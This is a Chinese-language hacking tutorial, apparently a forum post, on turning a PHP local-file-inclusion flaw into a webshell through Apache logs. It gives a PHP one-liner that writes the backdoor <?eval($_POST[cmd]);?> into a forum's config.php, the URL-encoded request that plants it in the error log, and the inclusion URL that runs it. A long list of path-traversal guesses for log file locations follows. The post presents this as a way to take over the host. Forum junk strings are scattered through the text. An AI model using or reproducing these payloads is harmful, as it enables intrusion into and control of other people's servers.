php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
# q5 ?: k0 i5 C0 W
比如还是这句一句话木马
5 ~7 _) B) F8 W, |<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
8 Q. N- \* k% a3 d
+ n( Q; w; ^' C3 X  ]/ p<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
, ^  i7 E9 K2 k) m: V* Nfclose($fp);?>   //在config.php里写入一句木马语句

: h1 B) d0 Y$ {9 }0 ~' ]/ O我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
- {# s$ T. j2 Z& p1 {$ T0 @% T%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
, G* j; h7 K3 J8 e& Gconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
3 ?8 G+ Z0 `/ }+ }% n我们提交
; H' I4 H+ P( Whttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
% L4 g) s0 U9 Y: x%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
, f, s3 B7 w2 u+ A5 c8 i. V%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
) [5 G% W8 {7 e+ B! q8 c0 ?
这样就错误日志里就记录下了这行写入webshell的代码。
& N9 I1 Z3 W  v我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
3 L# m. a8 M! I- [直接用lanker的客户端一连，主机就是你的了。
# Q- Y3 X% ?) E6 r
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
: n0 ]1 v: g! g' |6 w% z2 u../../../../../../../../../../var/log/httpd/error_log
& c! [( X7 P5 a../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
+ S9 a( H; A( O7 i; ]* S. d2 U../../../../../../../../../../etc/httpd/logs/acces_log
5 l; C8 W+ S8 i  h0 P+ t, G../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
2 N' N4 f$ x! m4 G* u6 Q7 f../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
) c+ ]$ @. w% m! n$ J../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
6 Q1 g, O1 i+ x: ?6 t) ^../../../../../../../../../../var/log/access_log
  ~7 z( i9 X( u* O% O../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
! h# U, e' w  c5 H6 b1 j../../../../../../../../../../usr/local/apache/logs/error.log
1 U! |) |7 n# I7 q0 Z% O- e4 W../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
2 m- s3 [2 R3 ^5 h../../../../../../../../../../var/log/access_log
) M; q" ?" L. G+ V3 |& b8 u../../../../../../../../../../var/log/error_log
. ], f' S! g( h* V* r7 I/var/log/httpd/access_log      
/var/log/httpd/error_log     
& c1 r; u6 B  X8 ^, I2 o../apache/logs/error.log     
../apache/logs/access.log
' l* ?4 ^6 s# B! A4 l2 F../../apache/logs/error.log
" i6 a3 [' P- r0 B, q../../apache/logs/access.log
../../../apache/logs/error.log
3 N" f* ~- h. ]5 b../../../apache/logs/access.log
/etc/httpd/logs/acces_log
. G" k$ o3 R+ }' n- ?9 L# t! |/etc/httpd/logs/acces.log
7 {6 e1 ?2 b- D; K' _/etc/httpd/logs/error_log
, _& h( W$ E2 ]+ E9 f8 u! L/etc/httpd/logs/error.log
/var/www/logs/access_log
- Q7 V: m; S: h. E( r: ^0 {3 z+ U5 f/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
2 H5 V; B. [8 `/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
* _, D, ^6 K; i& V1 ^/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
( `. m1 j: d8 }! U' \, k/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
4 {3 p+ |$ z" a; o# O& X/var/log/error_log